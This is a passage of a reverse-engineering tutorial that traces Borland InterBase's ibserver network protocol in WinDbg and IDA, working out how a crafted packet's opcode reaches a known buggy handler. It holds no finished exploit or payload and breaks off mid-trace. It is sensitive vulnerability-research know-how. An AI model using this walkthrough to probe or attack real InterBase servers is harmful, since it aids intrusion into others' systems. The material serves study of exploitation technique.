0:003> kbChildEBP RetAddr  Args to Child              WARNING: Stack unwind information not available. Following frames may be wrong.010efc0c 00411008 00a965d4 010efc24 00000004 ibserver+0x10fe6010efc24 00419043 00a965d4 010efc38 00000001 ibserver+0x11008010efc3c 00412a06 00a965d4 00a9bab4 00000002 ibserver+0x19043010efdd8 004103c5 00a965d4 00a9bab4 0001b7a4 ibserver+0x12a06010efdf4 00405205 00a9bdec 00a9bab4 827c7840 ibserver+0x103c5010eff18 0040411c 00a9bdec 0000005a 00a9bdec ibserver+0x5205010eff80 77c3a3b0 00000000 00000000 00000000 ibserver+0x411c010effb4 7c80b50b 00aa0388 00000000 00000000 MSVCRT!endthreadex+0xa9010effec 00000000 77c3a341 00aa0388 00000000 kernel32!GetModuleFileNameA+0x1b40:003> dc 010efc24-4010efc20  41414141 010efc3c 00419043 00a965d4  AAAA<...C.A..e..010efc30  010efc38 00000001 00000000 010efdd8  8...............010efc40  00412a06 00a965d4 00a9bab4 00000002  .*A..e..........010efc50  fa0a1f00 ffffffff 00000000 00000000  ................010efc60  0000001c 00000000 00000068 00000000  ........h.......010efc70  ea0b0002 00000000 00000000 010efd40  ............@...010efc80  90040002 0101010a 00000028 001468e0  ........(....h..010efc90  010efcc8 00000000 00000000 00000000  ................
Remember every byte that got copied also incremented the address of the buffer, so we have to subtract the size to display our value. And it appears we are correct. This function calls receive and checks the first dword of the received data. Another observation is that it still has the rest of the data, so what comes after the first dword is important.

Here's another tip. I tend to try and use something besides all "A"s when doing this. The reason for that is if I see my data being accessed i'll know the specific offset of my string im working on. For instance I could have generated a unique string for this instance say starting with "1234" and instantly I would know that all of this was simply copying the first four characters from my data. In many cases the processing of this buffer is complex and identifying the significance of each byte is crucial.

Lets return now that we know we can send up to 0x2000 bytes of data, and the first 4 will be used for something in the future.
0x00411008 add     esp, 0Ch0x0041100B test    eax, eax0x0041100D jnz     short loc_4110130x00411013        loc_411013:                    ; CODE XREF: sub_410FF1+1Cj0x00411013 mov     ecx, [ebp+netlong]            ; our first dword0x00411016 push    ecx                           ; netlong0x00411017 call    ds:ntohl0x0041101D mov     edx, [ebp+arg_4]0x00411020 mov     [edx], eax0x00411022 mov     eax, 1                        ; returning 1!
This seems very straight forward. We make sure our previous function returned 1 (True) and then we flip the bytes to host byte order. In the debugger we see.
eax=00000001 ebx=00aa0388 ecx=ffffffff edx=00a965d4 esi=00aa0758 edi=00000000eip=00411008 esp=010efc14 ebp=010efc24 iopl=0         nv up ei ng nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286ibserver+0x11008:00411008 83c40c          add     esp,0Ch0:003> teax=00000001 ebx=00aa0388 ecx=ffffffff edx=00a965d4 esi=00aa0758 edi=00000000eip=0041100b esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz ac po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212ibserver+0x1100b:0041100b 85c0            test    eax,eax0:003> teax=00000001 ebx=00aa0388 ecx=ffffffff edx=00a965d4 esi=00aa0758 edi=00000000eip=0041100d esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x1100d:0041100d 7504            jne     ibserver+0x11013 (00411013)             [br=1]0:003> teax=00000001 ebx=00aa0388 ecx=ffffffff edx=00a965d4 esi=00aa0758 edi=00000000eip=00411013 esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x11013:00411013 8b4dfc          mov     ecx,dword ptr [ebp-4] ss:0023:010efc20=414141410:003> teax=00000001 ebx=00aa0388 ecx=41414141 edx=00a965d4 esi=00aa0758 edi=00000000eip=00411016 esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x11016:00411016 51              push    ecx0:003> teax=00000001 ebx=00aa0388 ecx=41414141 edx=00a965d4 esi=00aa0758 edi=00000000eip=00411017 esp=010efc1c ebp=010efc24 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x11017:00411017 ff1550145a00    call    dword ptr [ibserver+0x1a1450 (005a1450)] 005a1450={WS2_32!ntohl (71ab2bc0)}0:003> peax=41414141 ebx=00aa0388 ecx=00004141 edx=00004141 esi=00aa0758 edi=00000000eip=0041101d esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x1101d:0041101d 8b550c          mov     edx,dword ptr [ebp+0Ch] ss:0023:010efc30=010efc380:003> teax=41414141 ebx=00aa0388 ecx=00004141 edx=010efc38 esi=00aa0758 edi=00000000eip=00411020 esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11020:00411020 8902            mov     dword ptr [edx],eax  ds:0023:010efc38=000000000:003> teax=41414141 ebx=00aa0388 ecx=00004141 edx=010efc38 esi=00aa0758 edi=00000000eip=00411022 esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11022:00411022 b801000000      mov     eax,10:003> t
Ahh so this is cool, but remember when I mentioned having a unique pattern and how super helpful it can be? Heres the call again with "1234" at the beginning.
C:\>ibserver.py 10.1.1.132 3050[*] Connecting to [10.1.1.132:3050][*] Sending [1234AAAAAAAAAAAAAAAA][*] Closing socketC:\>
eax=00000001 ebx=00aa0388 ecx=ffffffff edx=00a908d4 esi=00aa0758 edi=00000000eip=00411013 esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x11013:00411013 8b4dfc          mov     ecx,dword ptr [ebp-4] ss:0023:010efc20=343332310:003> teax=00000001 ebx=00aa0388 ecx=34333231 edx=00a908d4 esi=00aa0758 edi=00000000eip=00411016 esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x11016:00411016 51              push    ecx0:003> teax=00000001 ebx=00aa0388 ecx=34333231 edx=00a908d4 esi=00aa0758 edi=00000000eip=00411017 esp=010efc1c ebp=010efc24 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x11017:00411017 ff1550145a00    call    dword ptr [ibserver+0x1a1450 (005a1450)] 005a1450={WS2_32!ntohl (71ab2bc0)}0:003> peax=31323334 ebx=00aa0388 ecx=00003433 edx=00003334 esi=00aa0758 edi=00000000eip=0041101d esp=010efc20 ebp=010efc24 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x1101d:0041101d 8b550c          mov     edx,dword ptr [ebp+0Ch] ss:0023:010efc30=010efc380:003> t
So that seems a little easier to see as opposed to 0x41414141. Continuing on we know that the bytes get flipped as we would expect. We also saw our return value being set to True which is cool.

The function we return too is pretty simple. Nothing to talk about except the fact we see our first four bytes of data being copied to a dword pointer that was passed to this function. Also we are returning True since the previous function succeeded as well. Im starting to think that first dword is important :)
eax=00000001 ebx=00aa0388 ecx=00003433 edx=010efc38 esi=00aa0758 edi=00000000eip=00419043 esp=010efc2c ebp=010efc3c iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x19043:00419043 83c408          add     esp,80:003> teax=00000001 ebx=00aa0388 ecx=00003433 edx=010efc38 esi=00aa0758 edi=00000000eip=00419046 esp=010efc34 ebp=010efc3c iopl=0         nv up ei pl nz ac po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212ibserver+0x19046:00419046 85c0            test    eax,eax0:003> teax=00000001 ebx=00aa0388 ecx=00003433 edx=010efc38 esi=00aa0758 edi=00000000eip=00419048 esp=010efc34 ebp=010efc3c iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x19048:00419048 7504            jne     ibserver+0x1904e (0041904e)             [br=1]0:003> teax=00000001 ebx=00aa0388 ecx=00003433 edx=010efc38 esi=00aa0758 edi=00000000eip=0041904e esp=010efc34 ebp=010efc3c iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x1904e:0041904e 8b450c          mov     eax,dword ptr [ebp+0Ch] ss:0023:010efc48=00a8be680:003> teax=00a8be68 ebx=00aa0388 ecx=00003433 edx=010efc38 esi=00aa0758 edi=00000000eip=00419051 esp=010efc34 ebp=010efc3c iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x19051:00419051 8b4dfc          mov     ecx,dword ptr [ebp-4] ss:0023:010efc38=313233340:003> teax=00a8be68 ebx=00aa0388 ecx=31323334 edx=010efc38 esi=00aa0758 edi=00000000eip=00419054 esp=010efc34 ebp=010efc3c iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x19054:00419054 8908            mov     dword ptr [eax],ecx  ds:0023:00a8be68=000000000:003> teax=00a8be68 ebx=00aa0388 ecx=31323334 edx=010efc38 esi=00aa0758 edi=00000000eip=00419056 esp=010efc34 ebp=010efc3c iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x19056:00419056 b801000000      mov     eax,1
Continuing on! Now we are getting somewhere. Here is a high level look (cropped) at the graph of said function.



This function appears to take our dword value, compare it against some constants, and then call through a function table depending on what value we have supplied. As you can tell, this is a command processing function of sorts, so let's look at how our dword gets evaluated.
0x00412A4D mov     edx, [ebp+our_dword_ptr]0x00412A50 mov     eax, [edx]                        ; 313233340x00412A52 mov     [ebp+local_dword], eax0x00412A55 cmp     [ebp+local_dword], 40x00412A59 jz      loc_412B7D0x00412A59 0x00412A5F cmp     [ebp+local_dword], 47h0x00412A63 jz      loc_412B7D0x00412A63 0x00412A69 cmp     [ebp+local_dword], 60x00412A6D jz      loc_412B7D0x00412A6D 0x00412A73 cmp     [ebp+local_dword], 30x00412A77 jz      loc_412B7D0x00412A77 0x00412A7D cmp     [ebp+local_dword], 5Bh0x00412A81 jz      loc_412B7D0x00412A81 0x00412A87 cmp     [ebp+local_dword], 10x00412A8B jz      loc_412B7D0x00412A8B 0x00412A91 cmp     [ebp+local_dword], 13h0x00412A95 jz      loc_412B7D0x00412A95 0x00412A9B cmp     [ebp+local_dword], 14h0x00412A9F jz      loc_412B7D0x00412A9F 0x00412AA5 cmp     [ebp+local_dword], 52h0x00412AA9 jz      loc_412B7D0x00412AA9 0x00412AAF cmp     [ebp+local_dword], 36h0x00412AB3 jz      loc_412B7D
Well now, isn't that unfortunate for us. It appears we must supply one of these values before we can proceed. What's happening is our dword is being checked against these static values and since we never match, we never make it further. However if you keep tracing there is an interesting piece of info we gather from the error the process throws.
0x00412B4C mov     ecx, [ebp+local_dword]0x00412B4F push    ecx0x00412B50 push    offset str__ProtocolXdr_protocolO ; "PROTOCOL/xdr_protocol: opcode %d has no"...0x00412B55 lea     edx, [ebp+var_174]0x00412B5B push    edx                               ; char *0x00412B5C call    ds:__imp_sprintf
Ohhh look! It's printing an error message related to xdr protocol parsing. And the first argument to that is labeled "opcode". So now we know our first dword is (as you probably guessed) some sort of opcode. Also since we know this message is going somewhere i'll check the Borland logfile! Also I would be checking the arguments to the insecure sprintf as well...but Ill leave that as an exercise for the reader ;)
C:\Program Files\Borland\InterBase\interbase.log:BORLANDIB2007 (Server)  Fri Jul 20 14:45:59 2007PROTOCOL/xdr_protocol: opcode 825373492 has no context, client host = UNKNOWN     connection name = BORLANDIB2007 user name = UNKNOWN
Go python!
>>> print "%x" % 82537349231323334>>>
So there we are. We know the first 4 bytes are an opcode. We also know that it can only be a limited set of opcodes. So let's go back and change our script to send a valid opcode. I will use 0x14 because I know thats where the bug is (you could obviously write a quick nasty fuzzer to cycle through these opcodes).
C:\>ibserver.py 10.1.1.132 3050[*] Connecting to [10.1.1.132:3050][*] Sending ['\x00\x00\x00\x14AAAAAAAAAAAAAAAA'][*] Closing socketC:\>
Ive set a break point on our target so I can continue where I left off.
0:006> bp 00412A9B0:006> gBreakpoint 0 hiteax=00000014 ebx=00aa0388 ecx=00000000 edx=00a87790 esi=00aa0758 edi=00000000eip=00412a9b esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12a9b:00412a9b 837d8c14        cmp     dword ptr [ebp-74h],14h ss:0023:010efd64=000000140:003> teax=00000014 ebx=00aa0388 ecx=00000000 edx=00a87790 esi=00aa0758 edi=00000000eip=00412a9f esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0x12a9f:00412a9f 0f84d8000000    je      ibserver+0x12b7d (00412b7d)             [br=1]0:003> teax=00000014 ebx=00aa0388 ecx=00000000 edx=00a87790 esi=00aa0758 edi=00000000eip=00412b7d esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0x12b7d:00412b7d 8b4d0c          mov     ecx,dword ptr [ebp+0Ch] ss:0023:010efde4=00a87790
Back in the saddle, yeehaw! The next basic block is straight forward.
0x00412B7D mov     ecx, [ebp+our_dword_ptr]0x00412B80 mov     edx, [ecx]0x00412B82 mov     [ebp+var_18C], edx0x00412B88 mov     eax, [ebp+var_18C]0x00412B8E sub     eax, 10x00412B91 mov     [ebp+var_18C], eax0x00412B97 cmp     [ebp+var_18C], 5Ch0x00412B9E ja      loc_41408F
We take our opcode and decrement it by one. Then it's checked to make sure it's not over the opcode limit of 0x5c. We're good to go since we are at 0x13 right now. Moving on we see
0x00412BA4 mov     edx, [ebp+var_18C]0x00412BAA xor     ecx, ecx0x00412BAC mov     cl, ds:byte_414131[edx]0x00412BB2 jmp     ds:off_414095[ecx*4]
This is actually what our switch statement has been compiled down to. It is simply taking the opcode we supplied, getting an index from the global switch table, and jumping to that index in the binary. This contains a mix of byte arrays and function arrays as can be seen by the "byte_414131[edx]" and "off_414095[ecx*4]". Our byte array appears like this
0x00414131 byte_414131 db 0                         ; DATA XREF: sub_4129F0+1BCr0x00414132         db 26h0x00414133         db 10x00414134         db    20x00414135         db  26h ; &0x00414136         db    20x00414137         db  26h ; &0x00414138         db  26h ; &0x00414139         db    30x0041413A         db  26h ; &0x0041413B         db  26h ; &0x0041413C         db  26h ; &0x0041413D         db  26h ; &0x0041413E         db  26h ; &0x0041413F         db  26h ; &0x00414140         db  26h ; &0x00414141         db  26h ; &              0x00414142         db  26h ; &0x00414143         db    40x00414144         db    4
We can calculate that taken byte array 0x00414131[0x13] will equate to 0x00414144
0x00414131 + 0x13 == 00414144
If we look that up in the table we have "db 4". So in the following table we will be accessing the 4th dword. off_414095[] is below (Slightly truncated).
0x00414095 off_414095 dd offset loc_412BC3          ; DATA XREF: sub_4129F0+1C2r0x00414099         dd offset loc_412D5F0x0041409D         dd offset loc_412BB90x004140A1         dd offset loc_4130990x004140A5         dd offset loc_412E680x004140A9         dd offset loc_4134FD0x004140AD         dd offset loc_412ED50x004140B1         dd offset loc_412F240x004140B5         dd offset loc_412FCD0x004140B9         dd offset loc_4133900x004140BD         dd offset loc_4132680x004140C1         dd offset loc_4132B70x004140C5         dd offset loc_4133DF0x004140C9         dd offset loc_41357D0x004140CD         dd offset loc_413626
So we can access this easily
jmp     ds:off_414095[0x04*4]0x00414095 + (0x04 * 4) == 0x004140A5 
If we look that up in the table we get the offset location "dd offset loc_412E68". My bet is that's where we are headed to.
eax=00000013 ebx=00aa0388 ecx=00a96240 edx=00000014 esi=00aa0758 edi=00000000eip=00412ba4 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei ng nz ac pe cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297ibserver+0x12ba4:00412ba4 8b9574feffff    mov     edx,dword ptr [ebp-18Ch] ss:0023:010efc4c=000000130:003> teax=00000013 ebx=00aa0388 ecx=00a96240 edx=00000013 esi=00aa0758 edi=00000000eip=00412baa esp=010efc4c ebp=010efdd8 iopl=0         nv up ei ng nz ac pe cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297ibserver+0x12baa:00412baa 33c9            xor     ecx,ecx0:003> teax=00000013 ebx=00aa0388 ecx=00000000 edx=00000013 esi=00aa0758 edi=00000000eip=00412bac esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0x12bac:00412bac 8a8a31414100    mov     cl,byte ptr ibserver+0x14131 (00414131)[edx] ds:0023:00414144=040:003> teax=00000013 ebx=00aa0388 ecx=00000004 edx=00000013 esi=00aa0758 edi=00000000eip=00412bb2 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0x12bb2:00412bb2 ff248d95404100  jmp     dword ptr ibserver+0x14095 (00414095)[ecx*4] ds:0023:004140a5=00412e680:003> teax=00000013 ebx=00aa0388 ecx=00000004 edx=00000013 esi=00aa0758 edi=00000000eip=00412e68 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0x12e68:00412e68 8b4d0c          mov     ecx,dword ptr [ebp+0Ch] ss:0023:010efde4=00a96240
Good ole WinDbg, handling the mess for us. Regardless, being able to find these offsets statically is a useful skill to have, I suppose. When we take the jump we find a few basic blocks. These three basic blocks call a function, check the return code for true or false and either continue or return false from the function. With what we have seen previously, we can almost be certain that we must make it through these functions to the basic block that returns 1 (true) for us. With that said, we can see the first basic block contains a call to a previously reversed function.
0x00412E68 mov     ecx, [ebp+our_dword_ptr]0x00412E6B add     ecx, 130h0x00412E71 mov     [ebp+our_buffer], ecx0x00412E74 mov     edx, [ebp+our_buffer]0x00412E77 push    edx0x00412E78 mov     eax, [ebp+recv_info_struct]0x00412E7B push    eax0x00412E7C call    get_next_4_bytes0x00412E7C 0x00412E81 add     esp, 80x00412E84 test    eax, eax0x00412E86 jnz     short loc_412E8F
I have labeled this function get_next_4_bytes because as we have seen before thats pretty much what it does. Although this function reads 4 bytes from the user only the low two are kept as can be seen by the debugger.
eax=00000013 ebx=00aa0388 ecx=00000004 edx=00000013 esi=00aa0758 edi=00000000eip=00412e68 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0x12e68:00412e68 8b4d0c          mov     ecx,dword ptr [ebp+0Ch] ss:0023:010efde4=00a8345c0:003> teax=00000013 ebx=00aa0388 ecx=00a8345c edx=00000013 esi=00aa0758 edi=00000000eip=00412e6b esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0x12e6b:00412e6b 81c130010000    add     ecx,130h0:003> teax=00000013 ebx=00aa0388 ecx=00a8358c edx=00000013 esi=00aa0758 edi=00000000eip=00412e71 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12e71:00412e71 894dc8          mov     dword ptr [ebp-38h],ecx ss:0023:010efda0=71ab3f2d0:003> teax=00000013 ebx=00aa0388 ecx=00a8358c edx=00000013 esi=00aa0758 edi=00000000eip=00412e74 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12e74:00412e74 8b55c8          mov     edx,dword ptr [ebp-38h] ss:0023:010efda0=00a8358c0:003> teax=00000013 ebx=00aa0388 ecx=00a8358c edx=00a8358c esi=00aa0758 edi=00000000eip=00412e77 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12e77:00412e77 52              push    edx0:003> teax=00000013 ebx=00aa0388 ecx=00a8358c edx=00a8358c esi=00aa0758 edi=00000000eip=00412e78 esp=010efc48 ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12e78:00412e78 8b4508          mov     eax,dword ptr [ebp+8] ss:0023:010efde0=00a8810c0:003> teax=00a8810c ebx=00aa0388 ecx=00a8358c edx=00a8358c esi=00aa0758 edi=00000000eip=00412e7b esp=010efc48 ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12e7b:00412e7b 50              push    eax0:003> teax=00a8810c ebx=00aa0388 ecx=00a8358c edx=00a8358c esi=00aa0758 edi=00000000eip=00412e7c esp=010efc44 ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12e7c:00412e7c e808640000      call    ibserver+0x19289 (00419289)0:003> peax=00000001 ebx=00aa0388 ecx=00004142 edx=010efc38 esi=00aa0758 edi=00000000eip=00412e81 esp=010efc44 ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12e81:00412e81 83c408          add     esp,80:003> dc 00a8358c  00a8358c  00004748 00000000 00000000 00000000  HG..............00a8359c  00000000 00000000 00000000 00000000  ................00a835ac  00000000 00000000 00000000 00000000  ................00a835bc  00000000 00000000 00000000 00000000  ................00a835cc  00000000 00000000 00000000 00000000  ................00a835dc  00000000 00000000 00000000 00000000  ................00a835ec  00000000 00000000 00000000 00000000  ................00a835fc  00000000 00000000 00000000 00000000  ................
Since we seem to have returned true, we won't worry to much about this data. Continuing on, we hit another function in the next basic block after we successfully jump. We are going to keep an eye on the arguments to it and skip the function checking the return code.
eax=00000001 ebx=00aa0388 ecx=00004748 edx=010efc38 esi=00aa0758 edi=00000000eip=00412e8f esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12e8f:00412e8f 8b4dc8          mov     ecx,dword ptr [ebp-38h] ss:0023:010efda0=00a82fb80:003> teax=00000001 ebx=00aa0388 ecx=00a82fb8 edx=010efc38 esi=00aa0758 edi=00000000eip=00412e92 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12e92:00412e92 83c104          add     ecx,40:003> t
We can see here ecx is our previous buffer, where the last function copied the low 2 bytes of user data into. We are adding 4 here to skip to the next dword in this buffer.
eax=00000001 ebx=00aa0388 ecx=00a82fbc edx=010efc38 esi=00aa0758 edi=00000000eip=00412e95 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12e95:00412e95 51              push    ecx0:003> dc ecx00a82fbc  00000000 00000000 00000000 00000000  ................00a82fcc  00000000 00000000 00000000 00000000  ................00a82fdc  00000000 00000000 00000000 00000000  ................00a82fec  00000000 00000000 00000000 00000000  ................00a82ffc  00000000 00000000 00000000 00000000  ................00a8300c  00000000 00000000 00000000 00000000  ................00a8301c  00000000 00000000 00000000 00000000  ................00a8302c  00000000 00000000 00000000 00000000  ................0:003> dc ecx-400a82fb8  00004748 00000000 00000000 00000000  HG..............00a82fc8  00000000 00000000 00000000 00000000  ................00a82fd8  00000000 00000000 00000000 00000000  ................00a82fe8  00000000 00000000 00000000 00000000  ................00a82ff8  00000000 00000000 00000000 00000000  ................00a83008  00000000 00000000 00000000 00000000  ................00a83018  00000000 00000000 00000000 00000000  ................00a83028  00000000 00000000 00000000 00000000  ................0:003> t
Like we thought, this is the buffer we will check after we hop the subsequent function call.
eax=00000001 ebx=00aa0388 ecx=00a82fbc edx=010efc38 esi=00aa0758 edi=00000000eip=00412e96 esp=010efc48 ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12e96:00412e96 8b5508          mov     edx,dword ptr [ebp+8] ss:0023:010efde0=00a881340:003> teax=00000001 ebx=00aa0388 ecx=00a82fbc edx=00a88134 esi=00aa0758 edi=00000000eip=00412e99 esp=010efc48 ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12e99:00412e99 52              push    edx0:003> teax=00000001 ebx=00aa0388 ecx=00a82fbc edx=00a88134 esi=00aa0758 edi=00000000eip=00412e9a esp=010efc44 ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12e9a:00412e9a e8a1130000      call    ibserver+0x14240 (00414240)0:003> peax=00000001 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000eip=00412e9f esp=010efc44 ebp=010efdd8 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0x12e9f:00412e9f 83c408          add     esp,80:003> dc 00a82fb800a82fb8  00004748 43444344 00a83d6c 00000000  HG..DCDCl=......00a82fc8  00000000 00000000 00000000 00000000  ................00a82fd8  00000000 00000000 00000000 00000000  ................00a82fe8  00000000 00000000 00000000 00000000  ................00a82ff8  00000000 00000000 00000000 00000000  ................00a83008  00000000 00000000 00000000 00000000  ................00a83018  00000000 00000000 00000000 00000000  ................00a83028  00000000 00000000 00000000 00000000  ................0:003> t
Ok here we have skipped the function. It has returned true (good for us!) and we can check that location in memory that we previously discussed. It seems as though this function also reads 4 bytes of user data, only keeps the low 2 bytes, but differing from the previous it stores those 2 bytes twice. Our original string was 0x41424344, again keep in mind the benefit of using non-repeating characters in your user supplied input. Oh well if the function returned true we will just store this in the back of our head and continue on.
eax=00000001 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000eip=00412ea2 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12ea2:00412ea2 85c0            test    eax,eax0:003> teax=00000001 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000eip=00412ea4 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12ea4:00412ea4 7507            jne     ibserver+0x12ead (00412ead)             [br=1]0:003> teax=00000001 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000eip=00412ead esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12ead:00412ead 8b45c8          mov     eax,dword ptr [ebp-38h] ss:0023:010efda0=00a82fb80:003> teax=00a82fb8 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000eip=00412eb0 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x12eb0:00412eb0 83c00c          add     eax,0Ch0:003> teax=00a82fc4 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000eip=00412eb3 esp=010efc4c ebp=010efdd8 iopl=0         nv up ei pl nz ac po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212ibserver+0x12eb3:00412eb3 50              push    eax0:003> teax=00a82fc4 ebx=00aa0388 ecx=00000000 edx=00a82fbc esi=00aa0758 edi=00000000eip=00412eb4 esp=010efc48 ebp=010efdd8 iopl=0         nv up ei pl nz ac po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212ibserver+0x12eb4:00412eb4 8b4d08          mov     ecx,dword ptr [ebp+8] ss:0023:010efde0=00a881340:003> teax=00a82fc4 ebx=00aa0388 ecx=00a88134 edx=00a82fbc esi=00aa0758 edi=00000000eip=00412eb7 esp=010efc48 ebp=010efdd8 iopl=0         nv up ei pl nz ac po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212ibserver+0x12eb7:00412eb7 51              push    ecx0:003> teax=00a82fc4 ebx=00aa0388 ecx=00a88134 edx=00a82fbc esi=00aa0758 edi=00000000eip=00412eb8 esp=010efc44 ebp=010efdd8 iopl=0         nv up ei pl nz ac po nccs=001b  